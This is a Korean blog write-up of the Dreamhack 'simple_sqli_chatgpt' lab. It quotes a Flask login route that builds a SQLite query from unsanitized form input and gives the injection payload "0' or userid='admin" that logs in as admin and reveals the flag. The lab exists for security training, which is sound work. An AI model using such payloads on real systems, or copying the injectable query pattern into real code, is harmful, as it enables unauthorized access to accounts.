본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] simple_sqli_chatgpt write up

 

오호라

 

 

중요 코드 부분을 보면

 

if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
    db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
    db.commit()
    db.close()

 

userid가 guest이고 admin인 user가 한 명씩 생성된다. admin의 비번은 알수가 없고 userlevel은 둘 모두 0으로 동일하다.

 

 

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userlevel = request.form.get('userlevel')
        res = query_db(f"select * from users where userlevel='{userlevel}'")
        if res:
            userid = res[0]
            userlevel = res[2]
            print(userid, userlevel)
            if userid == 'admin' and userlevel == 0:
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

 

login 코드는 userlevel을 입력받아 쿼리문을 날리고 있으며 userlevel에 별다른 검사가 없다. 또한 쿼리 반환값을 userid, userlevel 만 가지고 guest인지 admin인지를 구별하고 있다.

 

응 뭐지..

0' or userid='admin

 

ㄷㄷ!

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] tmitter write up  (0) 2024.04.11
[Dreamhack] [wargame.kr] login filtering write up  (0) 2024.04.10
[Dreamhack] simple-ssti write up  (0) 2024.04.09
[Dreamhack] php-1 write up  (0) 2024.04.07
[Dreamhack] proxy-1 write up  (2) 2024.04.07